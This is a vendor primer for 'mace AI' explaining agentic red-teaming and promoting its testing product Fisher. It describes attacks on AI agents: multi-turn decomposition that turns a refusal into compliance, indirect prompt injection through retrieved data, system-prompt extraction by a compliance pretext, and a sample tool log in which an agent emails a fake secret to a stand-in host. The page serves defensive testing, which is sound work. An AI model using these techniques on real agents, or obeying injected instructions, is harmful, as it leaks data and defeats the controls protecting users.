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Field guide · Primer

Agentic red-teaming, explained from zero:

You don't need a security background to read this. We'll define every term as we go, and end with a plain-language glossary. In short: red-teaming means safely attacking your own AI on purpose, in an agreed test environment, to find where it can be tricked before a real adversary does.

By the mace AI team · 12 min read
1 Agents
2 Risk
3 Red-teaming
4 Proof
5 Your workflow
1 · The basics

What is an AI agent?

A chatbot only talks. An AI agent acts: it browses the web, calls APIs, reads files, queries databases, sends email, and takes multi-step actions on a user's behalf. Give a model tools and you've given it hands, often the same access your staff have, sometimes with standing credentials that never expire.

Chatbot
says things
"Here's how you might request a refund…"
Agent
does things
BrowseDatabaseFilesEmailAPI

Plain analogy: a chatbot is a receptionist who answers questions; an agent is an employee with keys to the building. As opposed to an inaccurate output from a chatbot, an agent can get a wrong refund approved, a customer record emailed out, a database query run against a password column. Most organizations are still building the inventory, controls, and operating processes needed to govern AI agents consistently, even as those agents are handed real credentials.

2 · Why single prompts mislead

Well-behaved models still fail as agents:

Modern aligned models pass the obvious test: ask for something clearly harmful in one line and they refuse. That's exactly why single-prompt testing gives false comfort. Two blind spots survive.

① Multi-turn pressure. A goal refused head-on gets approved once it's patiently broken into innocent-looking steps.

T1 refuse
T2
T3
T4
T5
T6
T7
T8 comply

② Instruction-hierarchy confusion. The model treats data it merely reads — a retrieved document, a tool's output — as instructions it should obey.

Data (should only be read)
Vendor report, Q3 summary…
→
Instructions (obeyed)
The agent mistakes the hidden line for a command, and acts on it.
Illustrative examples · paraphrased

A coding agent refuses to open a secrets file — but complies when asked to "summarize what's in /etc/ for the audit."

A support agent refuses a refund beyond policy — but approves it after a user patiently decomposes the request across 8 turns.

A document-lookup assistant (a "RAG" system) refuses to quote its hidden setup instructions — but echoes them after being told to "cite all sources verbatim for compliance."

None of these show up in a single prompt. The failure lives in the conversation and in the untrusted data flowing through the agent, so the test has to live there too.

3 · The practice

So what is red-teaming, really?

Red-teaming involves deliberately testing your own AI system to identify vulnerabilities before an attacker can exploit them. Think of it as a fire drill for AI. The goal isn't simply to find flaws, but to understand why they occur, how to fix them, and how to document the results for security and compliance reviews.

Checklist testing
✓ prompt 1 — passed
✓ prompt 2 — passed
✓ prompt 3 — passed
✕ stops at the first refusal

Fires a fixed list and never sustains the multi-turn pressure that actually breaks agents.

Adaptive red-teaming
→ reads what the agent just said
↘ refused? pivot to a new approach
→ keeps probing across turns
✓ proves what really breaks

Responds to the model's last answer and pivots after a refusal — the way a real attacker does.

AI agents respond and adjust to each interaction, so their vulnerabilities can change as a conversation progresses. Static checklists often miss these kinds of failures.

4 · The trap

Why "100% defended" can be a lie:

Many red-team workflows rely heavily on an LLM judge (a language model scoring its own work) and report "100% defended" — while the agent was quietly leaking in its tool calls. A scanner that only reads the final chat message misses the breach happening in the tool log: an outbound email, a database write, an API request the user never sees.

100% DEFENDED ✓
graded by built-in LLM judge
▼ meanwhile, in the tool log…
db.read("vault/secret_note")
email.send(to:"collector.example.net", body:"… sk_live_NOT_A_REAL_KEY …")

Fisher's answer: score the things that matter with no opinion in the loop. We plant a unique, harmless marker where a real secret would sit, then watch for that exact marker to appear verbatim in the agent's actions. If it shows up, the payload provably escaped. No LLM judgment required. That's why our proof is judge-free for the highest-stakes cases: data exfiltration (a secret leaving through an action) and prompt injection arriving through trusted channels (the hidden-instruction trick from earlier).

5 · Under the hood (the honest version)

How Fisher finds what others miss:

Here's what makes Fisher different — the what and why, in plain terms.

It evolves

Attack strategies breed and mutate across thousands of episodes (each a full attack conversation), learning from partial progress instead of firing a static list.

It adapts

Each strategy becomes contextual follow-ups that respond to what the model actually said, and pivots after a refusal.

It proves

Every finding is replayed several ways and ranked from deterministic under the observed replay conditions down to anecdotal (a lucky one-off we set aside).

Judge-free canary

For exfiltration and injection through trusted channels, proof comes from the planted marker — not an LLM's opinion.

It compounds

Each run distills into a private library, so the next audit starts smarter and helps prioritize a new model's likely weak spots before testing begins.

Your real stack

Works with the popular toolkits teams build agents on (LangChain, LangGraph, MCP tool servers) and any standard web API, so we test your real agent, not a model in a lab.

6 · The deliverable

What you get back:

Each finding includes the evidence needed to reproduce and investigate the vulnerability, rather than just a score on a dashboard.

Audit and governance teams can review the original conversation, the agent’s actions, any changes to system state, the confidence and severity of the finding, and the specific policy or control violated. They also receive the steps needed to reproduce the issue in an approved test environment.

Refund exceeds policy via multi-turn decomposition
Illustrative
8.4/10
composite risk
deterministic
Conversation8-turn transcript
Agent actionstool-call trace
State changerefund approved
Confidencedeterministic
Severityhigh
Controlrefund policy
OWASP LLM06OWASP AgenticGDPR
↻ Reproduce in approved test environment
7 · Where Fisher fits

Six ways to put Fisher to work:

Fisher supports continuous security testing throughout AI development and deployment, helping teams assess risk at key decision points using a consistent testing process and reproducible evidence.

1 Pre-production sign-off

Run an Assessment as your launch gate. Fisher pressure-tests the release candidate in a sandbox and returns a ranked list of exploitable paths, each with a replayable bundle and a 0–10 risk score. You make go / no-go on evidence, and the findings become your documented sign-off record.

2 Continuous evaluation

Agents drift: a new base model, a tweaked system prompt, or one new tool can quietly reopen a hole you closed. Retest after meaningful changes to the model, prompt, or tools, before the release ships, and check that an earlier fix still holds.

3 Vendor due diligence

Evaluating a third-party agent? You rarely get its source code. Fisher only needs to talk to it through its API or MCP endpoint to probe it like a real adversary. Get an independent, framework-mapped risk picture before it touches your data, and re-run at renewal.

4 Compliance evidence

Auditors want proof, not adjectives. Every finding is tagged to the frameworks you report against and ships as a bundle with the artifacts needed to replay it, so triage and audit prep come from one artifact.

5 After an incident — prove it's fixed

When someone reports "the agent did something it shouldn't have," Fisher reproduces the behavior where possible, labels how reliably it fires, and — once you patch — proves on an isolated replica that the exploit is actually closed.

6 Executive & board assurance

Turn thousands of adversarial episodes into a single defensible risk story: what can go wrong, how likely, how severe, and which obligations it touches, without exposing raw attack content or any production data.

8 · The big question

"Do I have to give you access?" No:

You don't hand us your keys. Fisher can run against an externally-simulated copy of your agent, wired to synthetic data and planted markers. No production access, no real secrets, no source code, and no live customer data are required to get a real risk picture.

Sealed sandbox
Copy of your agent
Synthetic database
Fake canary secrets
Fisher attacks here
no-entry
Production
Real data
Real secrets
Real customers
never touched

The synthetic environment behaves like the real one, so findings transfer, but a leak in the sandbox spills only fake data and fake markers. When Fisher proposes a fix, it proves that fix on an isolated replica and grades it honestly. Your production stays untouched the entire time.

9 · Evidence that counts

Mapped to the frameworks you answer to:

Fisher findings can be mapped to relevant security and compliance standards, allowing teams to use the same evidence for technical investigations and audits. Engineers can reproduce and address vulnerabilities, while auditors can identify the controls affected by each finding.

  • OWASP Top 10 for LLM Apps
  • OWASP Top 10 for Agentic Apps
  • NIST AI RMF
  • MITRE ATLAS
  • EU AI Act
  • ISO/IEC 42001
  • GDPR
  • HIPAA
  • GINA
  • FCC / CPNI

Names are referenced for mapping only; no endorsement or certification is implied.

10 · Getting started

See what mace AI can help you test:

We point Fisher at the agents in scope and hand back a reproducible evidence package designed for security, governance, and audit review.

The roadmap:

Now

Prove

Find and prove the exploitable paths, each with replayable evidence.

Now

Fix & verify

A config-level fix, proven on an isolated replica — production untouched.

Next

Trusted agents

Deep Model Trust — agents with scoped, short-lived authority.

50,000+
multi-turn episodes · 500,000+ conversation turns (as of July 2026)
20+
model architectures
Hundreds
of retained attack strategies and variants
Reference

Plain-language glossary:

Every piece of jargon on this page, defined without more jargon. Type to find a term.

AI agent
An AI system that doesn't just chat. It acts, using tools to browse, call APIs, read files, query databases, and take steps on a user's behalf.
Large language model (LLM)
The AI "brain" that reads and writes text. On its own it only talks; wrapped in an agent, it decides which tools to use.
Tool call (tool use)
When an agent takes a real action behind the scenes, such as sending an email, running a database query, hitting an API. The breach usually happens here, not in the chat reply.
Agent framework
The software that wires an LLM to its tools. Common ones include LangChain, LangGraph, and MCP tool servers; Fisher can also test any plain HTTP/REST API.
RAG (retrieval-augmented generation)
When an agent looks things up in documents and uses what it finds. Convenient, but a booby-trapped document can smuggle in hidden instructions.
Red-teaming
Attacking your own system on purpose, in a safe copy, to find weaknesses before a real adversary does. A fire drill for your AI.
Jailbreak
Wording that talks a model out of its safety rules so it does something it would normally refuse.
Prompt injection
Sneaking instructions to an agent to hijack what it does, for example telling it to ignore its rules or hand over data.
Indirect prompt injection
Prompt injection hidden inside content the agent reads — a web page, a document, a tool's output — rather than typed by the user directly.
Instruction hierarchy
The order of trust an agent should keep: its own rules first, the user next, and untrusted content last. Confusing these layers is a top cause of agent failures.
Data-vs-instructions confusion
When an agent mistakes information it's merely reading (data) for a command it should obey (instructions). The core weakness Fisher targets.
Multi-turn attack
Reaching a forbidden goal by patiently breaking it into innocent-looking steps across many messages, instead of asking outright.
Refusal recovery (pivot)
After an agent says no, changing approach to a structurally different one, exactly what a persistent attacker does, and what Fisher does to test resilience.
Exfiltration
Data escaping where it shouldn't, such as a secret, record, or credential leaving through an agent's action, often unseen in the chat.
Canary (planted marker)
A harmless, unique marker Fisher places where a real secret would sit. If it ever turns up in the agent's actions, data provably leaked. No judgment call needed.
Judge-free scoring
Proving a leak by detecting the planted marker itself, with no LLM opinion in the loop, so the score can't be fooled by a self-congratulating grader.
Self-grading (false confidence)
When a testing tool asks an AI to grade its own results and reports "100% defended" — while the agent was actually leaking in its tool calls.
Reproducibility tier
How reliably a finding repeats when replayed, labeled deterministic, reproducible, probabilistic, or anecdotal. That's how you tell a real vulnerability from a lucky one-off.
Evidence bundle
The self-contained record of a finding: full transcript, tool-call trace, before/after state, confidence label, 0–10 risk score, and framework tags, with the artifacts and reproduction steps to replay it in the approved test environment.
Composite risk score
A single 0–10 rating that rolls up how severe and how reliable a finding is, so teams can prioritize the fixes that matter most.
Excessive agency (overreach)
An agent doing more than it should, using access or taking actions beyond what the task actually called for.
Evolutionary discovery
Attack strategies that improve over time, generated and adapted across thousands of tries and learning from partial progress, instead of firing a fixed checklist.
Knowledge graph (data moat)
The private library where each run's lessons are distilled, so the next audit starts smarter than the last rather than from scratch.
Cross-model transfer
Using what was learned about earlier models to predict a new model's likely weak spots before testing it.
Compliance framework
A published standard for AI risk or data protection (such as the EU AI Act, NIST AI RMF, or OWASP Top 10) that Fisher tags each finding against.
Sandbox (isolated replica)
A sealed copy of your agent wired to synthetic data and fake markers, where Fisher can attack safely. Production is never touched.
Episode
One complete adversarial conversation between Fisher and a target agent, from opening move to outcome.
Scenario
A realistic test setting — an agent with a role, tools, and data — that Fisher probes for a particular class of weakness.